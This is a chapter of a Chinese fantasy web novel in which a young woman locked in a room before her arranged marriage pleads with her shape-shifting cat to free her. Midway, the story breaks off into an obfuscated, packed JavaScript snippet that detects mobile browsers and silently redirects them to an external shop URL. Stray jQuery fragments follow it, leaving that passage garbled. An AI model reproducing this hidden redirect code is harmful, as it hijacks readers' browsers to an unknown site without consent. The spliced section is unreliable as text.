夏别枝膝盖上放着一只黑色大猫,临墙独坐,狭小的窗户挂在十分靠近屋顶的位置。
屋子里除了她没有一个人。
她会一直待在这间一眼看到头的屋子里,直到嫁给侯府世子。
如果那一天真的会来临的话
“墨团儿,你带我逃跑吧。”
墨团抬起倒三角的脸,不解地看着眼前的姑娘。
夏别枝弯下腰,贴在墨团耳边轻轻说:“我知道你可以的,你昨晚变成人的时候,我看见了。”
墨团瞬间浑身的毛都竖了起来,一副心虚被抓住的模样。
但墨团并没有把尖利的爪子放在夏别枝的脖子上威胁她不要把这个秘密说出去。
因为它根本不记得晚上的事。
所以它舔了一遍身上的浮毛之后又安静地趴回了夏别枝的膝盖上。
夏别枝看向窗外,窗户很窄,她只能看到一条黑瓦,之后是被切割得十分规整的天空。
今日的天空是湛蓝色的,再过一个时辰,太阳就会出现。停留短短一刻钟时间后就会消失,下一次看到就得等到十二个时辰之后了。
这是她每日一次,能看见太阳的机会。
因此她的皮肤如同白纸一般,只有在阳光下,才会呈现出一丝血色。
“墨团儿,如果我一直出不去,我会死的。”
墨团听了立刻把自己毛茸茸的大爪子按在夏别枝的手背上,意思是:“别这么做。”
它从来不避讳自己能听懂人话的事。
这个房间里只有夏别枝一个人,而她不太正常,所以墨团很放心。
夏别枝反握住墨团的爪子,祈求道:“你不想让我死,那你能不能帮帮我,我真的很想出去。”
又来了,又说回这个事了。
墨团张了张嘴,露出足有三寸长的尖牙,朝着夏别枝哈气,代表它生气了。
但夏别枝还是执迷不悟,用水汪汪的眼睛看着它。
直到,女使和婆子打开门锁,推开门走了进来。
女使拎着饭盒进屋,布好菜。婆子就站在门口盯着夏别枝,一旦她有异动,立刻就会扑过来按住她。
今日夏别枝没动。
为了保证她能活到嫁去侯府的那一天,她的母亲非常慷慨地每日送一餐饭给她。
让她能活着,又没力气折腾。
但其实根本没必要,因为那一天永远不会到来。
一碗饭,两盘绿油油的菜,一小碟子红色的肉,夏别枝全部吃得干干净净。
女使等夏别枝吃完就收拾了餐具,走出去,重新锁上了门。
夏别枝进食的时候,墨团躺在床上一动不动。
夏别枝拿着桃木梳去给墨团梳毛。墨团的毛发看似蓬松,实则异常坚硬,如同银针一般,只能用同样质地坚硬的桃木梳才不会梳断梳子。
“墨团,你今晚出去之后,可别再像之前那样忘了我,一定要砸开锁放我出去。”
墨团气恼地拍打着尾巴,它又没有手,怎么砸锁啊!
但夏别枝却误解了它的意思,以为它答应了,认认真真地替墨团梳毛,直到墨团发出平稳的呼噜声。
夏别枝才走下床去书柜里拿了本志怪书走到窗下,借着微弱的天光翻看。
她曾经想在这本志怪书里找到有没有和墨团相似的野兽,但里面记录的多是些无头人、背生双翼,没有五官的怪物或是十几丈高的怪物,没有墨团这种看起来很可爱,唯一异于常猫的只是会在夜晚变身的小动物。
夏别枝又翻了一遍,合上书,下了个结论:“只能是猫妖了吧……”
夏别枝看着躺在她床上睡得鼻孔冒泡的墨团,走过去俯下身贴在它被梳得顺滑的脊背上:“墨团儿,即便你是妖怪我也不会嫌弃你的。”
黑色的柔软耳朵转了转。
“啊!”
夏别枝捂着被尾巴抽了下的后脖颈起身,看了眼已经探出尖利指甲的大梅花爪子,默默远离了床榻。
等到了黄昏,光线昏暗到外面看守的女使已经看不清时,夏别枝就抱着要出去觅食的墨团站上了桌子。
夏别枝把墨团举到窗边,忽然觉得心里很慌,再一次叮嘱道:“墨团儿,你一定要记得来救我啊,千万不要忘了我。”
墨团睁着两颗圆溜溜的眼睛看着夏别枝,即便屋里没有点灯,它那两颗可以随意伸缩的瞳孔也看得一清二楚。
夏别枝很害怕。
墨团用尾巴扫了扫夏别枝的手,安慰她,像是在说:“别怕,我一定会回来的。”
接着便纵身一跃,跳进了花丛里。
窗外种了一大片的月季,花枝上长满了刺,但丝毫不影响墨团在里面行走。
夏别枝不放心,就一直趴在床边看着墨团,见它从月季花丛走出,当着女使和婆子的面走进了厨房。
女使和婆子一直笔挺地站在院门内,目不斜视地看着对方,等到夜色渐深,月上柳梢时,便走回了院子西侧的小屋里休息。
她们进了屋后就不会再出来了,夏别枝便盯着厨房半开的门,等墨团觅食结束。
一轮圆月趴在屋檐上,把周围的群星都衬得黯然失色。
夏别枝站得腿都麻了,厨房的门才终于有了动静。
一条浑身漆黑、几乎和门同高的人影走了出来。
是墨团。
夏别枝踮起脚,探出半个头和手去,想让墨团注意到自己。
但她不敢喊,不是害怕女使和婆子听见,而是因为变成人形的墨团。
它看起来,非常骇人。
即便隔了几丈距离,在昏暗的夜色里,夏别枝并不能清晰地看清墨团的脸,她只是本能地觉得害怕。
第一次看见时,夏别枝差点被吓晕过去,甚至等到第二天看见变回猫咪的墨团也不敢靠近。
直到多看了几次之后,才稍稍习惯一些。
所以夏别枝之前一直不敢在夜晚惊动人形的墨团,但她实在等不下去了,她快憋疯了。
墨团微微抬起头,好像是看见了夏别枝,但过了会儿就立刻就转过头,看向了月亮。
果然,夏别枝失望地垂下手,墨团又忘了她。
月亮到底有什么好看的!
每晚都看,看不腻吗?
夏别枝酝酿了一会,准备喊醒墨团时,却看见它朝院门走过去。
这扇院门一直紧闭着,并没有上锁。
夏别枝咽下要喊出口的话,期待又紧张地盯着墨团。
墨团抬起手,放在门栓上,慢慢拉开了门,露出一人宽的窄缝。
夏别枝双手扒在窗框上,尽可能地探出头,直到肩膀被卡住,但还是看不见院门外究竟有什么。
夏别枝小声埋怨:“墨团,你就不能把门再拉开点吗?”
但墨团不仅没有听到夏别枝的埋怨,也没有继续拉门,甚至一直站在原地没有动。
像是外面是一堵墙,它根本落不下脚。
“墨团——墨团——”
夏别枝双手做喇叭状放在嘴边,呼唤着墨团的名字,但对方没有任何反应,一直痴痴地看着院门外。
夏别枝气得没法了,跳下去找到那把桃木梳,又哼哧哼哧爬上高几,探出头去,瞄准墨团的脑袋砸过去。
“砰!”
砸歪了。
梳子砸在了院门上,落在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17613202|206029||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地上摔成了两半。
但墨团还是成功被砸门声给惊动了,回身转向窗口的夏别枝。
夏别枝见墨团有了反应,心里刚燃起一团希望的小火苗,瞬间又被极致的恐惧给浇灭了。
墨团睁开了眼睛。
眼睛里是一双赤色的竖瞳!
夏别枝却感觉到一团铺天盖地的火焰朝她席卷而来。
原来之前墨团并没有睁开眼睛,它的眼睛也不是黑色的。
夏别枝被这团火焰摄住了心神,动弹不得。但实际上她已经失去意识,身体不受控制地倒下,砸在了坚硬的青砖地上。
脆弱的头颅被砸破了,慢慢晕开一团深色的水痕,把她整个人包裹住,远远看去像是被冲上浅滩的一条小鱼。
墨团随后突然出现在房间里,站在那滩带着淡淡铁锈味道的小水潭边,用那双赤瞳打量着夏别枝惨白的脸。
但这些,夏别枝都不知道。
她做了个梦,但记不清梦到了什么,只觉得很累。
醒来的时候,正躺在床上,枕着一个蓬松扎实、塞满了决明子的枕头。
墨团蜷缩在她枕边,拿着尾巴当被子,睡得十分香甜。
好像一晚上没睡那样。
夏别枝看着紧闭的大门,气得抬起拳头砸向床板。
墨团顺滑的毛发瞬间都炸开,“喵呜”一声弓起身子,警惕地晃着脑袋看着四周。
什么都没有。
墨团还以为是自己做噩梦了,决定继续睡时,却被一双手穿过腋下抱在空中摇晃。
“墨团,你怎么又忘了!不是说好出去后变成人就要砸开锁放我出去的吗?你是不是在外面有相好的小母猫了?”
墨团感觉自己的脑仁要被晃散了,眼睛里都是小星星,根本听不清夏别枝说了什么。
什么忘了,什么母猫的……
它啥也听不懂啊。
夏别枝摇着摇着突然闻到一股异常难闻的味道从墨团的腹部散发出来,她凑近闻了闻,确认是从墨团身上散发出来之后,便将墨团四脚朝上放在膝盖上,扒拉它肚腩上稍稍柔软些的腹毛。
大致呼噜一遍就摸到了好几块地方都结成了团,夏别枝摊开手掌,手指和指甲里夹了许多红色的碎渣,似乎正是那股臭味的来源。
夏别枝捂着鼻子把墨团推到地上,任凭它“呲哈呲哈”地朝她龇牙,还在空中挥舞着爪子,她都好像看不见一般,径直走到铜质的水盆边,撩起清水净手。
清水立刻变成了血红色,像一盆刚从活物身体里挤出的汁液。
夏别枝垂着脑袋,眼睛里全部都被这片血红占满,然后从她的眼角挤出来,一滴滴再落回盆里。
这样的红色,让她移不开眼,动弹不得,像是她的魂灵已经被抽去了,留下的只是一具空壳。
忽然,脚步声和铁链晃动声凭空响起。
门被推开,女使和拎着两个大木桶的婆子走了进来。
婆子十分有劲,即便木桶里装满了热水,也很轻松地就把木桶里的水倒进了能容纳两人共浴的浴桶里。
女使道:“小娘子,该沐浴了,明日便是您大喜的日子了。”
夏别枝直起身,看也不看女使,走到床边抱起墨团:“瞧你脏的,今日你也要沐浴哦。”
墨团从没洗过澡,但那浴桶里蒸腾着的白汽散发出黏稠的湿意,让它浑身的毛发都变沉重了起来。
虽然没有体验过,但莫名的讨厌。
墨团用爪子抵住夏别枝的肩膀,表示坚定的拒绝,但夏别枝丝毫不留情面:“不行哦,一定要洗,你太臭了。”
婆子和女使倒好水就出门了,依旧不忘顺手上锁。